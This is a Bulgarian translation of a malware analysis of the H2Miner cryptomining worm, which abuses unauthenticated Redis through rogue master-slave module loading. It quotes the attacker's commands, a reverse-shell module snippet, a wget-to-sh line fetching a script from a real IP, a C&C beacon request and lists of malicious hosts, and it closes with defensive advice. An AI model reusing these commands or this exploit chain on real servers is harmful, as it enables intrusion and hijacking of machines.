Открито е ново огнище на червеи H2Miner, които експлоатират Redis RCE

Преди ден един от сървърите на проекта ми беше атакуван от подобен червей. В търсене на отговор на въпроса "какво беше това?" намерих страхотна статия от екипа на Alibaba Cloud Security. Тъй като не намерих тази статия в Хабра, реших да я преведа специално за вас <3

Въведение

Напоследък екипът за сигурност на Alibaba Cloud откри внезапно избухване на H2Miner. Този тип злонамерен червей използва отсъствието на автентикация или слаби пароли за Redis като шлюзове към вашите системи, след което синхронизира своя собствен злонамерен модул с slave чрез синхронизация master-slave и накрая зарежда този злонамерен модул на атакуваната машина и изпълнява злонамерени инструкции.

В миналото атаките срещу вашите системи основно се осъществяваха чрез метод, включващ планирани задачи или SSH-ключове, които се записваха на вашата машина след влизането на злонамерения потребител в Redis. За щастие, този метод не може да се използва често поради проблеми с контрол на разрешенията или различни версии на системата. Въпреки това, този метод за зареждане на злонамерен модул може директно да изпълнява команди на атакуващия или да получава достъп до shell, което е опасно за вашата система.

Поради голямото количество сървъри Redis, разположени в интернет (почти 1 милион), екипът за сигурност на Alibaba Cloud, като приятелско напомняне, препоръчва на потребителите да не предоставят достъп до Redis от мрежата и редовно да проверяват надеждността на паролите си, а също така, да не са изложени на бързо подбиране.

H2Miner

H2Miner е ботнет за копаене за системи, базирани на Linux, който може да нахлуе в вашата система по различни начини, включително отсъствие на автентикация в Hadoop yarn, Docker и уязвимост за отдалечено изпълнение на команди в Redis (RCE). Ботнетът работи, като зарежда злонамерени скриптове и злонамерени програми за копаене на вашите данни, хоризонтално разширяване на атаката и поддържане на командно-контролна (C&C) връзка.

Redis RCE

Павел Топорков сподели знания по този въпрос на ZeroNights 2018. След версия 4.0, Redis поддържа функция за зареждане на външни модули, която предоставя на потребителите възможността да зареждат файлове so, компилирани с C в Redis за изпълнение на определени команди на Redis. Тази функция, макар и полезна, съдържа уязвимост, при която в режим master-slave файловете могат да бъдат синхронизирани със slave чрез режим fullresync. Това може да бъде използвано от нападателя за предаване на злонамерени файлове so. След завършване на предаването, злонамерените актьори зареждат модула на атакувания инстанция на Redis и изпълняват всяка команда.

Анализ на зловредния червей

Неотдавна екипът по сигурността на Alibaba Cloud откри, че размерът на групата от зловредни копачи H2Miner рязко е нараснал. Според анализа, общият процес на поява на атаката изглежда по следния начин:

Открито е ново огнище на червеи H2Miner, които експлоатират Redis RCE

H2Miner използва RCE Redis за пълна атака. Първо, злонамерените актьори атакуват незащитени сървъри Redis или сървъри със слаби пароли.

След това те използват командата config set dbfilename red2.so за да променят името на файла. След това атакуващите изпълняват командата slaveof за задаване на адреса на хоста за репликация master-slave.

Когато атакуваният инстанция на Redis установи връзка master-slave с злонамерен Redis, собственост на нападателя, атакуващият изпраща заразения модул с командата fullresync за синхронизиране на файловете. След това файлът red2.so ще бъде зареден на атакуваната машина. След това злонамерените актьори използват модула .\/red2.so, за да заредят този файл so. Модулът може да изпълнява команди на нападателя или да инициира обратна връзка (бекдор), за да получи достъп до атакуваната машина.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

След изпълнение на злонамерена команда, като / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, нападателят ще нулира името на резервния файл и ще извърши извеждане на системния модул, за да заличи следите. Нищо не по-малко, файлът red2.so все още ще остане на атакуваната машина. Препоръчва се на потребителите да обърнат внимание на наличието на такъв подозрителен файл в папката на техния инстанция на Redis.

В допълнение към унищожаването на някои злонамерени процеси за кражба на ресурси, атакуващият следва злонамерен сценарий, като изтегля и стартира злонамерени файлове в бинарен вид, за да 142.44.191.122/kinsing. Това означава, че името на процеса или името на директорията, съдържащо kinsing на хостa, може да показва, че тази машина е била заразена със съответния вирус.

Според резултатите от обратната разработка, злонамерената програма основно изпълнява следните функции:

  • Изтегляне на файлове и тяхното изпълнение
  • Майнинг
  • Поддържане на връзка C&C и изпълнение на команди от атакуващия

Открито е ново огнище на червеи H2Miner, които експлоатират Redis RCE

Използвайте masscan за външно сканиране, за да разширите влиянието. Освен това, IP адресът на C&C сървъра е здраво криптиран в програмата и атакуваният хост ще взаимодействи с C&C комуникационния сървър чрез HTTP заявки, където информацията за зомби (хакнатия сървър) се идентифицира в HTTP заглавката.

Открито е ново огнище на червеи H2Miner, които експлоатират Redis RCE

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Останалите методи на атака

Открито е ново огнище на червеи H2Miner, които експлоатират Redis RCE

Адреси и линкове, които използва червеят

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

с&с

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Съвет

Първо, Redis не трябва да бъде отворен за достъп от интернет и трябва да бъде защитен с надеждна парола. Също така е важно клиентите да проверят, че файлът red2.so липсва в директорията на Redis и отсъствието на "kinsing" в името на файла/процеса на хостa.

Източник: habr.com

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster